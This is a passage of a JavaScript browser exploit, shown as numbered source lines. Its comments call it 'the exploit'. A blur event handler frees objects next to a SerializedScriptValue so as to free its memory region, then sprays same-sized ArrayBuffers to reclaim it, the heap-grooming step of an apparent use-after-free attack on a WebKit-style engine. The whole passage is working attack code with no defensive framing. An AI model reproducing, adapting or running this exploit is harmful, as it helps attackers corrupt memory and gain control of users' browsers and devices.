| 230 | }); |
| 231 | |
| 232 | function onblur(event) { |
| 233 | const target = event.target; |
| 234 | const is_input = target === input; |
| 235 | const idx = is_input ? 0 : 1; |
| 236 | log(`${target.id} blur came`); |
| 237 | |
| 238 | if (blurs[idx] > 0) { |
| 239 | die(`${name}: multiple blurs. blurs: ${blurs[idx]}`); |
| 240 | } |
| 241 | |
| 242 | // we replace the URL with the original so the user can rerun the |
| 243 | // exploit via a reload. If we don't, the exploit will append another |
| 244 | // "#foo" to the URL and the input element will not be blurred because |
| 245 | // the foo element won't be scrolled to during history.back() |
| 246 | history.replaceState("state3", "", original_loc); |
| 247 | |
| 248 | // free the SerializedScriptValue's neighbors and thus free the |
| 249 | // SmallLine where it resides |
| 250 | const fset_idx = is_input ? index : index2; |
| 251 | for (let i = fset_idx - num_adjs / 2; i < fset_idx + num_adjs / 2; i++) { |
| 252 | fsets[i].rows = ""; |
| 253 | fsets[i].cols = ""; |
| 254 | } |
| 255 | |
| 256 | for (let i = 0; i < num_reuses; i++) { |
| 257 | const view = new Uint8Array(new ArrayBuffer(ssv_len)); |
| 258 | view[0] = 0x41; |
| 259 | views.push(view); |
| 260 | } |
| 261 | |
| 262 | blurs[idx]++; |
| 263 | } |
| 264 | |
| 265 | input.addEventListener("blur", onblur); |
| 266 | foo.addEventListener("blur", onblur); |